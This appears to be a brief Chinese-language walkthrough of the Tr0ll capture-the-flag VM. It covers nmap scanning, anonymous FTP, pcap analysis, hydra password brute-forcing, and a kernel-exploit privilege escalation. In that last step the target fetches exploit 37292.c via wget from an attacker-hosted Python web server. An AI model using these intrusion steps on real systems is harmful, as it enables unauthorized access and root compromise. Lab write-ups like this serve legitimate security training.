Tr0ll

一、nmap扫描

 先nmap扫一下靶机开放的端口

nmap --min-rate 10000 -p- 192.168.230.142

 

再用nmap获取更多的信息

    sudo nmap -p- -sS -sV -A 192.168.230.142

 可以看到ftp有一个lol.pcap的文件

二、web服务器

里面啥都没有

 三、分析lol.pcap

匿名登录ftp然后下载lol.pcap

get lol.pcap

追踪tcp流发现了个啥

追踪eq 2流量发现了sup3rs3cr3tdirlol

尝试在web访问一下这个

 下载完运行一下

再去web那看看这个

 先看一眼包含密码的文件夹

Ps：真的离谱啊，密码就是Pass.txt不是里面的goodjob·····

保存文件然后用hydra进行爆破

四、提权

ssh登录

uname -a看看系统

然后sudo -l看看，发现不太行

用searchsploit查找系统版本找到相对应的漏洞

 开启python的web服务，靶机下载exp

python -m http.server 2333
wget http://192.168.230.141:2333/37292.c

 

然后编译运行

 拿到root